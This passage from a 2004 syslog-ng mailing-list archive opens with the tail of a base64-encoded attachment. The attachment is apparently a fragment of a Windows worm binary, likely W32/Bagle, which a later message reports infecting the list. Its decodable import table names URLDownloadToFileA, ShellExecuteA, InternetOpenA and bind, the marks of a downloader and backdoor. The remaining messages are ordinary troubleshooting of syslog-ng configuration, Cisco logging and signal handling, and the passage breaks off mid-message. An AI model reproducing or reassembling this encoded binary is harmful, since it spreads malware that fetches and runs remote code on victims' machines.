AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOnn/Ger0aLsWQIkuIoYhHR4gvelEM EQShEW15BLYAeZ0BcnifThMKU49BnWCMPwE0Ba0orpo+fYiNFwAHtIkjBTkcLDkosXivxW+D kXdpoYlrIw64Rp+SHY+Zmws0ZQs0fgt2oiGAZ7GWgyM1P5IPBxu/qDxXEA5qD3YTh0KchwYf PHooHCMpYXhtD0qdK0C4UIJBcTcrDggtKqOxmI5EPFCRs0uTK5W1N2IyiC4ZOB5MtZyqpoMw YaYRikIjqaBXu197n3inE3oRZaQnsCMmBkxKiidUDCw3SbEVQ6kJjGshvbJbQBmzAwNSVSYK v4l0QMc1UzAPp1qIvJfHJDBEUy6ZLpFOBJlzCse1JXchx1xYhVaoMYtfDbQtjbQwbD+6OqKO KKEOq7qYfZAuw48PDExTOHFpw8QUcFJuRwgrNIcDAUZBSltks1eFaQy6X5VMnyNbDGqtmKaw qVEeNkU0L3hq ----------akavlgfzdidntkbpjlku-- From syslog-ng@lists.balabit.hu Fri May 28 10:44:42 2004 From: syslog-ng@lists.balabit.hu (Dian HiWi) Date: Fri, 28 May 2004 11:44:42 +0200 Subject: [syslog-ng] created dirs problem Message-ID: <057a01c44498$66c01a80$23500d81@rz.unikarlsruhe.de> This is a multi-part message in MIME format. ------=_NextPart_000_0577_01C444A9.2A369B00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all! Here is a part from my .conf file: #################################################################### source udp_mesg { udp( port(514));}; destination d_locals{ = file("/var/log/test/$HOST/$FACILITY_$LEVEL/$DAY.$MONTH.$YEAR.log" = owner("root") group("adm") perm (0640) dir_perm(0740) = create_dirs(yes));}; log { source(udp_mesg);filter(f_messages);destination(d_locals);}; #################################################################### It logs fine, still without facilities, but the problem comes perhaps = from my devices, not from syslog-ng. The strange what happend is: As I listed the directories in my log-directory, I found out, that there = are about hundred hidden dierectories. I log from tho devices, and there were, as it should be, two dirs for = their logs. But in the hidden directories(.00 to .99) there were logs = from the devices, most from severity 'notice'. Has anyone idea, what could be the problem? cheers Dian P.S. How can I get=20 ------------------------------------------------------------- Windows 95/NT - 32 bit extensions and a graphical shell=20 for a 16 bit patch=20 to an 8 bit operating system originally coded=20 for a 4 bit microprocessor,=20 written by a 2 bit company=20 that can't stand 1 bit of competition. ------=_NextPart_000_0577_01C444A9.2A369B00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all!
Here is a part from my .conf = file:
 
################################################################= ####
source udp_mesg { udp( = port(514));};
 
destination d_locals{=20 file("/var/log/test/$HOST/$FACILITY_$LEVEL/$DAY.$MONTH.$YEAR.log" = owner("root")=20 group("adm") perm (0640) dir_perm(0740) = create_dirs(yes));};
 
log {=20 source(udp_mesg);filter(f_messages);destination(d_locals);};
=
################################################################= ####
 
It logs fine, still without facilities, = but the=20 problem comes perhaps from my devices, not from syslog-ng.
The strange what happend = is:
As I listed the directories in my = log-directory, I=20 found out, that there are about hundred hidden = dierectories.
I log from tho devices, and there were, = as it=20 should be, two dirs for their logs. But in the hidden directories(.00 to = .99)=20 there were logs from the devices, most from severity = 'notice'.
 
Has anyone idea, what could be the=20 problem?
 
 
         =20 cheers
          &nbs= p; =20 Dian
 
 
P.S. How can I get
 
 ----------------------------------------------------------= ---
 Windows=20 95/NT - 32 bit extensions and a graphical shell
   for a = 16 bit=20 patch
       to an 8 bit operating = system=20 originally coded =
          for=20 a 4 bit microprocessor,=20
           &nb= sp;=20 written by a 2 bit company=20
           &nb= sp;   =20 that can't stand 1 bit of competition.
------=_NextPart_000_0577_01C444A9.2A369B00-- From syslog-ng@lists.balabit.hu Fri May 28 11:20:52 2004 From: syslog-ng@lists.balabit.hu (Davis, Jay) Date: Fri, 28 May 2004 06:20:52 -0400 Subject: [syslog-ng]You are sending visruses in your e-mails. Please fix it. Message-ID: <74827F79D548064BA484BEB9AEA550CE11E928@EXVB.fanniemae.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4449D.7487C519 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable The item GSEBODY_691125_3712_1085713249.txt, from syslog-ng-admin@lists.balabit.hu, addressed to syslog-ng@lists.balabit.hu, with subject line syslog-ng digest, Vol 1 #1107 - 3 msgs, has been replaced because it was infected by the W32/Bagle.aa@MM virus. ------_=_NextPart_001_01C4449D.7487C519 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message

The item GSEBODY_691125_3712_1085713249.txt, from=20 syslog-ng-admin@lists.balabit.hu, addressed to = syslog-ng@lists.balabit.hu, with=20 subject line syslog-ng digest, Vol 1 #1107 - 3 msgs, has been replaced = because=20 it was infected by the W32/Bagle.aa@MM = virus.

=00 ------_=_NextPart_001_01C4449D.7487C519-- From syslog-ng@lists.balabit.hu Sat May 29 01:35:50 2004 From: syslog-ng@lists.balabit.hu (Evan Himmel) Date: Fri, 28 May 2004 20:35:50 -0400 Subject: [syslog-ng]Cisco Devices Message-ID: <003501c44514$e41dfed0$6402010a@willis> This is a multi-part message in MIME format. ------=_NextPart_000_0032_01C444F3.5D018960 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am trying to log debugging messages from 3 Cisco 7206 VXR's. Anyone = have any suggestions on how to do this? Evan ------=_NextPart_000_0032_01C444F3.5D018960 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am trying to log debugging messages from 3 Cisco = 7206=20 VXR's.  Anyone have any suggestions on how to do this?
 
Evan
------=_NextPart_000_0032_01C444F3.5D018960-- From syslog-ng@lists.balabit.hu Sat May 29 02:03:00 2004 From: syslog-ng@lists.balabit.hu (Bill Nash) Date: Fri, 28 May 2004 18:03:00 -0700 (MST) Subject: [syslog-ng]Cisco Devices In-Reply-To: <003501c44514$e41dfed0$6402010a@willis> Message-ID: A cisco config as simple as: logging trap debugging logging source-interface Ethernet0/1 logging 192.168.100.100 That last entry specifies the target syslog collector. The rest should get you on your way. - billn On Fri, 28 May 2004, Evan Himmel wrote: > I am trying to log debugging messages from 3 Cisco 7206 VXR's. Anyone have any suggestions on how to do this? > > Evan From syslog-ng@lists.balabit.hu Wed May 26 22:47:57 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Wed, 26 May 2004 17:47:57 -0400 Subject: [syslog-ng]solaris 9 problem, no logging Message-ID: <04AF0B9DF133D71184F200508BB017660A1D41B7@msxg2mtl1.hydro.qc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C4436B.1B6478AC Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Have to check your path to syslog-ng.conf And you must use option -f when starting syslog-ng, For ex. /etc/init.d/syslog-ng -f $PATH_TO_SYSLOG_CONF/syslog-ng.conf Good luck. -----Message d'origine----- De : Oscar Knight [mailto:knightod@appstate.edu]=20 Envoy=E9 : 26 mai, 2004 16:58 =C0 : syslog-ng@lists.balabit.hu Objet : [syslog-ng]solaris 9 problem, no logging Hello All, Running Solaris 9. I installed syslog-ng. I kill solaris syslogd and = then start syslog-ng. I get nothing. I even tried "syslog-ng -d -d" It = says it started, nothing else. I use logger to test, nothing. Any suggestions? Some details: I've installed syslog-ng from sunfreeware.com packages: libol-0.3.13-sol9-sparc-local.gz syslogng-1.6.4-sol9-sparc-local.gz /etc/syslog-ng/syslog-ng.conf: # # Syslog-ng example configuration file for Solaris # # Copyright (c) 1999 Balazs Scheidler # $Id: syslog-ng.conf.solaris,v 1.2 1999/11/15 12:30:41 bazsi Exp $ # = # Solaris 2.5.1 and below uses the STREAMS driver, above extends it # = with doors. For 2.5.1 remove the door() option from the source declaration. = # source local { sun-streams("/dev/log" door("/etc/.syslog_door")); internal(); }; #destination all { file("/var/log/messages"); }; destination all { file("/var/log/syslog"); }; log { source(local); destination(all); }; Thanks in advance, odk -- Oscar D. Knight knightod at appstate dot = edu Voice: = 828-262-6946 Appalachian State University, Boone, NC 28608 FAX: = 828-262-2236 _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html ------_=_NextPart_001_01C4436B.1B6478AC Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE : [syslog-ng]solaris 9 problem, no logging

Have to check your path to syslog-ng.conf
And you must use option -f when starting = syslog-ng,
For ex. /etc/init.d/syslog-ng -f = $PATH_TO_SYSLOG_CONF/syslog-ng.conf

Good luck.


-----Message d'origine-----
De : Oscar Knight [mailto:knightod@appstate.edu] =
Envoy=E9 : 26 mai, 2004 16:58
=C0 : syslog-ng@lists.balabit.hu
Objet : [syslog-ng]solaris 9 problem, no = logging


Hello All,

Running Solaris 9.  I installed syslog-ng.  = I kill solaris syslogd and then start syslog-ng.  I get = nothing.  I even tried "syslog-ng -d -d" It says it = started, nothing else.

I use  logger to test, nothing.

Any suggestions?

Some details:
I've installed syslog-ng from sunfreeware.com = packages:

 libol-0.3.13-sol9-sparc-local.gz  = syslogng-1.6.4-sol9-sparc-local.gz

/etc/syslog-ng/syslog-ng.conf:

 #
 # Syslog-ng example configuration file for = Solaris
 #
 # Copyright (c) 1999 Balazs Scheidler
 # $Id: syslog-ng.conf.solaris,v 1.2 1999/11/15 = 12:30:41 bazsi Exp $  #  # Solaris 2.5.1 and below uses the = STREAMS driver, above extends it  # with doors. For 2.5.1 remove = the door() option from the source declaration.  #

 source local { sun-streams("/dev/log" = door("/etc/.syslog_door"));  internal(); };

 #destination all { = file("/var/log/messages"); };
 destination all { = file("/var/log/syslog"); };

 log { source(local); destination(all); = };



Thanks in advance,
odk
--
Oscar D. = Knight           =             =        knightod at appstate dot = edu
          &nb= sp;           &nb= sp;           &nb= sp;           &nb= sp;       Voice: 828-262-6946
Appalachian State University, Boone, NC = 28608           FAX: = 828-262-2236

_______________________________________________
syslog-ng maillist  -  = syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng
Frequently asked questions at
http://www.campin.net/syslog-ng/faq.html

------_=_NextPart_001_01C4436B.1B6478AC-- From syslog-ng@lists.balabit.hu Fri May 28 09:10:32 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Fri, 28 May 2004 10:10:32 +0200 Subject: [syslog-ng]Syslog-ng 1.6.4 adds ^@ to each line Message-ID: Hi, I have a problem with syslogs from my bintec routers. The logs all have ^@ at the end of each line. This problem appears since I am using syslog-ng 1.6.4. Bevor I used the version 1.4.x., there were no problems. Please help. Thx and Greetings Benjamin From syslog-ng@lists.balabit.hu Fri May 28 12:35:17 2004 From: syslog-ng@lists.balabit.hu (syslog-ng@lists.balabit.hu) Date: Fri, 28 May 2004 13:35:17 +0200 Subject: [syslog-ng]Syslog-ng 1.6.4 adds ^@ to each line Message-ID: Hi, I have a problem with syslogs from my bintec routers. The logs all have ^@ at the end of each line. This problem appears since I am using syslog-ng 1.6.4. Bevor I used the version 1.4.x., there were no problems. Please help. Thx and Greetings Benjamin From syslog-ng@lists.balabit.hu Fri May 28 13:41:39 2004 From: syslog-ng@lists.balabit.hu (Markus Foerster) Date: Fri, 28 May 2004 14:41:39 +0200 Subject: [syslog-ng]How to get IP addresses ONLY in the syslog file Message-ID: <45570000.1085748099@[10.10.6.123]> Hi, I want to get IP addresses only (not hostnames) in the files written by syslog-ng. I set the relevant options as: options { long_hostnames (off); use_dns (no); use_fqdn (no); keep_hostname (no); use_time_recvd (yes); }; It works for remote connections, however localhost still appears with its device name. Can I get it to log as "127.0.0.1" instead? Ideally I don't want to have the host name in the config file (I know I could define a different template for the local host name or something). Thanks Markus From syslog-ng@lists.balabit.hu Thu May 20 06:32:28 2004 From: syslog-ng@lists.balabit.hu (Andy Kirkpatrick) Date: Thu, 20 May 2004 15:32:28 +1000 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng Message-ID: <726BBD5D17FD0745ABC7B1E5A41111A215CC40@tardis.oriel.com.au> Hi, I get that too, running syslog-ng 1.5.15 on debian woody with kernel = 2.4.18 SMP. I did a quick check of the source some months ago and if I = recall correctly, the signal handler was quite simple and didn't mask = any signals so if another one arrives while its handling the first = signal, the process will terminate. This frequently happened when = logrotate went to work, rotating logfiles and sending a quick volley of = signals to syslog-ng. I was in a rush so rather than patch and build a custom package for our = systems, I wrote a postrotate script to start syslog-ng if it wasn't = running already. Let me know if I was off base with my diagnosis... Andy Kirkpatrick -----Original Message----- From: syslog-ng-admin@lists.balabit.hu = [mailto:syslog-ng-admin@lists.balabit.hu] On Behalf Of Stephane OMNES Sent: Thursday, 6 May 2004 9:17 PM To: syslog-ng@lists.balabit.hu Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng Hi, I need some help because I encountered a problem when trying to make = some automatic logrotate script with syslog-ng. My "logrotate script" is the following : /var/log/*.log { 